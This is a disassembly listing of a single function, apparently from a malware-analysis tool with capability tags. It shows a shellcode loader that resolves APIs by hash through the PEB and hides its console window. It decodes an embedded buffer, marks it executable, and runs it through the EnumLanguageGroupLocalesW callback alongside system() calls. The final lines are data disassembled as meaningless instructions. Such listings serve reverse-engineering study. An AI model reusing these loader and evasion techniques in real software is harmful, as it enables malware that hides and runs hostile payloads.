Function at 0x401100
Capabilities:
Access peb ldr_data
Execute command
Get kernel32 base address
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x4c18
call fcn.00401c30
push ebx
push esi
push edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
push 0x8ca9ef6c
mov esi, eax
call fcn.00401050
push 0x958d1c17
mov edi, eax
push str.Rpcrt4.dll
call edi
mov esi, eax
call fcn.00401050
lea ecx, [ebp - 8]
push ecx
push 0
push 1
push 0
push 2
push 0
call eax
test eax, eax
je 0x401274
cmp eax, 0x57
jne 0x401274
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
push 0x69a1ad6
mov esi, eax
call fcn.00401050
mov ebx, eax
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
push 0x9c857be
mov esi, eax
call fcn.00401050
push str.User32.dll
mov dword [ebp - 0x10], eax
call edi
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
push 0x93b3503e
mov esi, eax
call fcn.00401050
push 0xa
push 0x40212c
push 0
mov edi, eax
call ebx
push eax
push 0
mov ebx, 0x4c05
lea esi, [ebp - 0x4c18]
call dword [ebp - 0x10]
test eax, eax
je 0x40120c
mov edx, esi
sub eax, edx
mov cl, byte [eax + esi]
mov byte [esi], cl
inc esi
dec ebx
jne 0x401203
mov ecx, 0
mov al, byte [ebp + ecx - 0x4c18]
cmp ecx, 0x4c05
je 0x401246
dec al
add al, 0x22
dec al
inc al
inc al
sub al, 0xf
xor al, 0xb
inc al
add al, 0x87
xor al, 0x61
dec al
dec al
sub al, 0xc7
mov byte [ebp + ecx - 0x4c18], al
add ecx, 1
jmp 0x401211
mov al, 0
mov ecx, 0
lea edx, [ebp - 4]
push edx
push 0x40
push 0x4c05
lea eax, [ebp - 0x4c18]
push eax
call edi
push 0
push 0
push 2
lea ecx, [ebp - 0x4c18]
push ecx
call dword [sym.imp.KERNEL32.dll_EnumLanguageGroupLocalesW]
mov edi, dword [sym.imp.MSVCRT.dll_system]
push 0x402144
call edi
add esp, 4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0x402144
call edi
movsx esi, byte [ebp - 9]
mov ebx, dword [sym.imp.MSVCRT.dll_toupper]
add esp, 4
push 0x402144
call edi
push esi
call ebx
movsx esi, al
lea eax, [esi - 0x41]
add esp, 8
cmp eax, 0x12
ja case.0x4012c2.66
movzx edx, byte [eax + 0x40133c]
jmp dword [edx*4 + 0x40131c]
call fcn.004017b0
jmp 0x4012a3
call fcn.00401350
jmp 0x4012a3
call fcn.004013f0
jmp 0x4012a3
call fcn.004016a0
jmp 0x4012a3
call fcn.004015c0
jmp 0x4012a3
call fcn.00401460
jmp 0x4012a3
push 0x402144
call edi
jmp 0x4012a0
push 0x402144
call edi
add esp, 4
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.MSVCRT.dll_exit]
lea ecx, [ecx]
rcl byte [edx]
inc eax
add ah, ch
adc al, byte [eax]
cld
adc al, byte [eax]
xlatb
adc al, byte [eax]
ficom word [edx]
inc eax
add cl, cl
adc al, byte [eax]
in eax, 0x12
inc eax
add bl, dh
adc al, byte [eax]
add byte [edi], al
pop es
add dword [edx], eax
pop es
pop es
pop es
pop es
pop es
pop es
add eax, dword [edi + eax]
pop es
add eax, -872020217